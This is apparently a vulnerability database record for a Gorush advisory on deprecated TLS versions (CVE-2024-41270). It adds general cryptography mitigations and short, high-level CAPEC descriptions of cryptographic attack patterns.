"id": "GHSA-p3pf-mff8-3h47",
"modified": "2024-08-07T14:17:11Z",
"published": "2024-08-06T21:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41270"
},
{
"type": "WEB",
"url": "https://github.com/appleboy/gorush/issues/792"
},
{
"type": "WEB",
"url": "https://github.com/appleboy/gorush/commit/067cb597e485e40b790a267187bf7f00730b1c4b"
},
{
"type": "WEB",
"url": "https://gist.github.com/nyxfqq/cfae38fada582a0f576d154be1aeb1fc"
},
{
"type": "PACKAGE",
"url": "https://github.com/appleboy/gorush"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gorush uses deprecated TLS versions"
}
Mitigation MIT-24
Strategy: Libraries or Frameworks
- When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.
- For example, US government systems require FIPS 140-2 certification [REF-1192].
- Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.
- Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]
Mitigation MIT-52
Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.
Mitigation
Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.
Mitigation MIT-25
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-473: Signature Spoof
An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.
CAPEC-608: Cryptanalysis of Cellular Encryption
The use of cryptanalytic techniques to derive cryptographic keys or otherwise effectively defeat cellular encryption to reveal traffic content. Some cellular encryption algorithms such as A5/1 and A5/2 (specified for GSM use) are known to be vulnerable to such attacks and commercial tools are available to execute these attacks and decrypt mobile phone conversations in real-time. Newer encryption algorithms in use by UMTS and LTE are stronger and currently believed to be less vulnerable to these types of attacks. Note, however, that an attacker with a Cellular Rogue Base Station can force the use of weak cellular encryption even by newer mobile devices.
CAPEC-614: Rooting SIM Cards
SIM cards are the de facto trust anchor of mobile devices worldwide. The cards protect the mobile identity of subscribers, associate devices with phone numbers, and increasingly store payment credentials, for example in NFC-enabled phones with mobile wallets. This attack leverages over-the-air (OTA) updates deployed via cryptographically-secured SMS messages to deliver executable code to the SIM. By cracking the DES key, an attacker can send properly signed binary SMS messages to a device, which are treated as Java applets and are executed on the SIM. These applets are allowed to send SMS, change voicemail numbers, and query the phone location, among many other predefined functions. These capabilities alone provide plenty of potential for abuse.
CAPEC-97: Cryptanalysis
Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: Total Break (finding the secret key), Global Deduction (finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key), Information Deduction (gaining some information about plaintexts or ciphertexts that was not previously known) and Distinguishing Algorithm (the attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits).